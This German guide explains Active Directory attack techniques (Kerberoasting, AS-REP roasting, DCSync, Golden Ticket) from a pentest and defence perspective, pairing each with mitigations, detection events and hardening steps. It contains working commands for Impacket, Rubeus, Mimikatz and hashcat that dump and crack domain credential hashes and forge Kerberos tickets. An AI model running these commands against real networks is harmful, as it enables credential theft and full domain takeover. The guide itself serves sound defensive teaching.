Active Directory Red Team: Kerberoasting, Golden Ticket und DCSync im Pentest

Active Directory (AD) ist in 95% aller Windows-Unternehmensumgebungen das zentrale Identitätssystem - und damit das attraktivste Ziel für Angreifer. Wer den Domain Controller kontrolliert, kontrolliert das gesamte Netzwerk. Dieser Guide erklärt die wichtigsten AD-Angriffstechniken aus Pentest-Perspektive: nicht als Anleitung für Angreifer, sondern als Grundlage um zu verstehen, was zu schützen ist.

AD-Angriffsmethodik: Von User zu Domain Admin

Eine typische AD-Kompromittierungskette beginnt mit einem einzelnen normalen Domain-User - häufig erlangt über Phishing - und führt in fünf Schritten zur vollständigen Domänenkontrolle.

Schritt 1: Enumeration

Der Angreifer kartiert die Domäne mit Tools wie BloodHound, PowerView und ldapdomaindump. Zentrale Fragen: Wer ist Domain-Admin? Welche Gruppen existieren? Welche ACLs sind gesetzt?

Schritt 2: Privilege Escalation

Häufig genutzte Wege sind Kerberoasting (Service-Accounts mit schwachen Passwörtern), AS-REP Roasting (Accounts ohne Pre-Auth-Anforderung) und ACL-Missbrauch über Berechtigungen wie WriteDACL oder GenericAll auf privilegierte Accounts.

Schritt 3: Lateral Movement

Mit erlangten Credentials bewegt sich der Angreifer seitlich im Netzwerk - via Pass-the-Hash (NTLM-Hash für Authentifizierung), Overpass-the-Hash (NT-Hash wird zu Kerberos TGT) oder Pass-the-Ticket (TGT/TGS kopieren und nutzen).

Schritt 4: Domain Compromise

Das Ziel ist die vollständige Domänenkontrolle. DCSync erlaubt das Replizieren von Domain-Controller-Credentials ohne physischen Zugang zum DC. Mit dem krbtgt-Hash lassen sich via Golden Ticket ewige TGTs fälschen. Alternativ bietet das DSRM-Passwort eine Backdoor über den Directory Services Restore Mode.

Schritt 5: Persistence

Persistenz wird über AdminSDHolder-Manipulation (Schutz auf privilegierte Gruppen verändern), SIDHistory (alten SID in neues Konto einbetten) oder Golden Tickets gesichert - da das krbtgt-Konto selten rotiert wird, kann die Persistenz buchstäblich jahrelang bestehen.

Enumeration: BloodHound und PowerView

BloodHound ist das wichtigste Werkzeug zur Angriffspfad-Analyse in Active Directory. Der SharpHound-Collector sammelt Gruppen, ACLs, Sessions, GPOs und Domain Trusts und bereitet diese für die grafische Analyse auf.

# SharpHound-Collector ausführen:
./SharpHound.exe -c All --OutputDirectory C:\Temp\

# Importieren und BloodHound öffnen (Kali):
# bloodhound → Upload Data → ZIP-Datei

Besonders aussagekräftige BloodHound-Queries sind “Find Shortest Paths to Domain Admins”, “Find Principals with DCSync Rights”, “Find Computers where DA logged in” und “Find All Paths from Here to DA”.

Typische Findings in der Praxis: Ein Helpdesk-User hat GenericAll auf einen Server-Admin-Account (klassischer ACL-Fehler), 47 Computer sind für Unconstrained Delegation konfiguriert, oder ein Domain-Admin hat sich auf 12 normalen Workstations eingeloggt - seine Credentials liegen damit im Arbeitsspeicher dieser Maschinen.

PowerView ermöglicht gezielte manuelle Enumeration:

# Import:
Import-Module .\PowerView.ps1

# Domain-Admins auflisten:
Get-NetGroupMember -GroupName "Domain Admins"

# Alle Service-Accounts (für Kerberoasting):
Get-NetUser -SPN

# ACL-Analyse: Wer hat Schreibrechte auf DA-Account?
Get-ObjectAcl -SamAccountName "krbtgt" -ResolveGUIDs |
  Where-Object {$_.ActiveDirectoryRights -like "*Write*"}

# Computer-Suche:
Get-NetComputer -OperatingSystem "Windows 10*"
Get-NetComputer -Unconstrained  # Unconstrained Delegation!

Kerberoasting

Kerberoasting nutzt eine fundamentale Eigenschaft des Kerberos-Protokolls: Service Tickets (TGS) für Service-Accounts werden mit dem NTLM-Hash des jeweiligen Service-Account-Passworts verschlüsselt. Entscheidend ist, dass jeder Domain-User TGS für beliebige SPNs anfordern kann - ohne besondere Rechte. Ist das Passwort des Service-Accounts schwach, lässt sich der TGS offline cracken.

# Impacket GetUserSPNs.py:
python3 GetUserSPNs.py corp.local/normaluser:Password1 \
  -dc-ip 10.0.0.1 -request -outputfile kerberoastable.txt

# Ergebnis:
# $krb5tgs$23$*svc-sql$CORP.LOCAL$MSSQLSvc/db01.corp.local*$HASH...

# Rubeus (von Windows):
.\Rubeus.exe kerberoast /format:hashcat /output:kerberoast.txt

# Hashcat (offline, auf Angreifer-Machine):
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerberoast.txt rockyou.txt -r rules/dive.rule

In der Praxis sind die Ergebnisse oft erschreckend direkt: svc-backup mit dem Passwort “Password123!” gewährt sofortigen Domain-Admin-Zugriff; svc-mssql mit “Summer2023!” liefert DB-Admin-Rechte.

Schutzmaßnahmen gegen Kerberoasting:

• Starke Passwörter für Service-Accounts (25+ Zeichen, zufällig generiert)
• Group Managed Service Accounts (gMSA) einsetzen: Active Directory rotiert das Passwort automatisch - kein crackbares Passwort möglich
• AES-Only Kerberos erzwingen: kein RC4 mehr, was das Cracken deutlich verlangsamt
• Monitoring: Viele TGS-Anfragen für viele SPNs in kurzer Zeit → Alert

# gMSA anlegen:
New-ADServiceAccount -Name "gMSA-SQLService" -DNSHostName sql.corp.local

# AES-Verschlüsselung für Service-Account erzwingen:
Set-ADUser -Identity svc-sql -KerberosEncryptionType AES128,AES256

AS-REP Roasting

AS-REP Roasting richtet sich gegen Accounts, bei denen “Do not require Kerberos pre-authentication” gesetzt ist. Normalerweise sendet der Client einen verschlüsselten Timestamp als Beweis seiner Identität. Ist Pre-Authentication deaktiviert, antwortet der Authentication Server ohne jede Prüfung mit einem TGT-Chunk - der anschließend offline geknackt werden kann. Besonders kritisch: Der Angriff funktioniert ohne gültige Anmeldedaten.

Betroffen sind Accounts mit dem UserAccountControl-Flag DONT_REQ_PREAUTH, das manchmal aus Kompatibilitätsgründen für Legacy-Applikationen gesetzt und anschließend vergessen wird.

# Impacket (kein Passwort nötig!):
python3 GetNPUsers.py corp.local/ -dc-ip 10.0.0.1 \
  -request -format hashcat -outputfile asrep.txt

# Rubeus:
.\Rubeus.exe asreproast /format:hashcat /output:asrep.txt

# Hashcat:
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Schutzmaßnahmen:

• Pre-Authentication für alle Accounts erzwingen - und bestehende Ausnahmen bereinigen
• Monitoring: AS-REQ ohne Pre-Auth → sofortiger Alert
• Starke Passwörter, wenn Pre-Auth in Ausnahmefällen nicht vermeidbar ist

# Alle betroffenen Accounts finden und fixen:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
  Set-ADAccountControl -DoesNotRequirePreAuth $false

DCSync

DCSync ist einer der gefährlichsten Angriffe auf Active Directory, weil er keinen physischen Zugang zum Domain Controller erfordert. Domain Controller replizieren AD-Daten untereinander und benötigen dafür spezifische Berechtigungen: “Replicating Directory Changes” und “Replicating Directory Changes All”. Wer diese Rechte besitzt, kann die DC-Replikation simulieren und damit alle Passwort-Hashes der Domäne abrufen.

Standardmäßig haben Domain Admins, Enterprise Admins und Domain Controller diese Rechte. Durch fehlerhafte ACL-Konfigurationen erhalten jedoch manchmal auch normale User diese Berechtigungen - was BloodHound mit der Query “Find Principals with DCSync Rights” sichtbar macht.

# Impacket secretsdump.py (nach Erlangen der Replikationsrechte):
python3 secretsdump.py corp.local/da-admin:Password1@dc01.corp.local

# Alternativ mit NTLM-Hash:
python3 secretsdump.py corp.local/da-admin@dc01.corp.local -hashes :NTLMHASH

# Ausgabe: alle Domain-Accounts mit Hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:NTLMHASH...
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:KRBHASH...

# Mimikatz:
lsadump::dcsync /domain:corp.local /all

# Wer hat DCSync-Rechte? (PowerView):
Get-ObjectAcl -DistinguishedName "DC=corp,DC=local" -ResolveGUIDs |
  Where-Object {
    ($_.ObjectType -match "Replication") -and
    ($_.AccessControlType -eq "Allow")
  } | Select-Object IdentityReference, ObjectType

Schutzmaßnahmen:

• Regelmäßige ACL-Audits mit BloodHound und PingCastle
• Monitoring: Event 4662 (Object Access) mit Replikations-GUID → Alert
• Event 4929 (Replikationsquelle entfernt) → forensisch relevant
• Microsoft Defender for Identity (vormals ATA) erkennt DCSync automatisch

Golden Ticket

Das Golden Ticket ist die ultimative Persistenz-Technik in Active Directory. Der krbtgt-Account ist ein spezielles Dienstkonto, dessen Hash alle TGTs (Ticket Granting Tickets) in der Domäne verschlüsselt. Wer diesen Hash kennt, kann beliebige TGTs fälschen - das Ergebnis ist ein “Golden Ticket”, das für den Domain Controller wie ein legitimes Ticket aussieht.

# 1. krbtgt-Hash beschaffen (via DCSync oder Mimikatz auf DC):
lsadump::dcsync /domain:corp.local /user:krbtgt
# Ergebnis: krbtgt-NTLM-Hash: AAAABBBBCCCCDDDD...

# 2. Golden Ticket erstellen (Mimikatz):
kerberos::golden `
  /user:FakeAdmin `
  /domain:corp.local `
  /sid:S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX `
  /krbtgt:KRBTGTHASH `
  /ptt

# 3. Zugriff auf beliebige Ressourcen:
dir \\dc01.corp.local\C$   # → Vollzugriff!

Die Gefährlichkeit des Golden Tickets liegt in seiner Langlebigkeit: Die Standard-TTL beträgt 10 Jahre. Das Ticket bleibt gültig, auch wenn das Passwort des gefälschten Users geändert wird, und auch nach Passwort-Rücksetzung des ursprünglichen Kontos. Die einzige wirksame Gegenmaßnahme ist die zweifache Rotation des krbtgt-Passworts.

Erkennung: Defender for Identity erkennt Golden Tickets anhand anomaler TGT-Gültigkeitsdauern (normale TGTs: max. 10 Stunden) und TGS-Anfragen für nicht existierende Accounts (Event 4769).

Incident Response bei Golden Ticket:

# krbtgt-Passwort ZWEIMAL innerhalb von 10 Stunden rotieren!
# Erste Rotation:
Set-ADAccountPassword -Identity krbtgt -Reset `
  -NewPassword (Read-Host -Prompt "Neues Passwort" -AsSecureString)

# 10 Stunden warten (TGT-Lebensdauer!)

# Zweite Rotation:
Set-ADAccountPassword -Identity krbtgt -Reset `
  -NewPassword (Read-Host -Prompt "Neues Passwort" -AsSecureString)

Die erste Rotation macht alte TGTs nach deren Ablauf (max. 10h) ungültig. Erst die zweite Rotation stellt sicher, dass keine alten Keys mehr gültig sind.

Schutz: Microsoft Defender for Identity

Microsoft Defender for Identity (MDI) ist das zentrale Tool zur automatischen Erkennung von AD-Angriffen. MDI erkennt unter anderem Kerberoasting (viele TGS-Anfragen von einem Account), DCSync (Replikationsanfragen von Nicht-DC-Systemen), Golden Tickets (TGTs mit ungewöhnlich langer Gültigkeit), Pass-the-Hash und Reconnaissance durch LDAP-Abfragen oder BloodHound-Collector-Aktivität.

MDI-Deployment:

MDI-Sensoren müssen auf allen Domain Controllern und auf AD CS Servern (Certificate Authority) installiert werden. Die Cloud-Komponente ist über das Microsoft 365 Defender Portal zugänglich.

# MDI-Sensor-Installation (auf jedem DC):
.\Azure ATP sensor Setup.exe /quiet NetFrameworkCommandLineArguments="/q" AccessKey="KEY"

Besonders wertvolle MDI-Alerts sind “Honeytoken-Konto-Aktivität” (niemand sollte Honeytoken-Accounts nutzen), “Remote code execution attempt” (Impacket/Metasploit-Pattern), “Suspicious service creation” (neue Dienste auf DC) und “Skeleton Key attack” (LSASS-Manipulation auf DC).

PingCastle ist ein kostenloser AD-Health-Check, der regelmäßig ausgeführt werden sollte:

./PingCastle.exe --healthcheck --server dc01.corp.local
# → Score (max 100 = schlecht), Findings nach Risikokategorie
# → Kerberoastable Accounts, Unconstrained Delegation, etc.

Härtungs-Sofortmaßnahmen im Überblick:

• Protected Users Security Group: alle Domain-Admins eintragen
• Tiered Admin Model: DA-Accounts niemals auf Workstations nutzen
• Credential Guard: schützt LSASS (kein Mimikatz-Zugriff möglich)
• LAPS: keine einheitlichen lokalen Admin-Passwörter
• gMSA für alle Service-Accounts (kein Kerberoasting möglich)
• Defender for Identity auf allen DCs aktivieren
• Monitoring: Event-IDs 4768, 4769 und 4776 in SIEM einbinden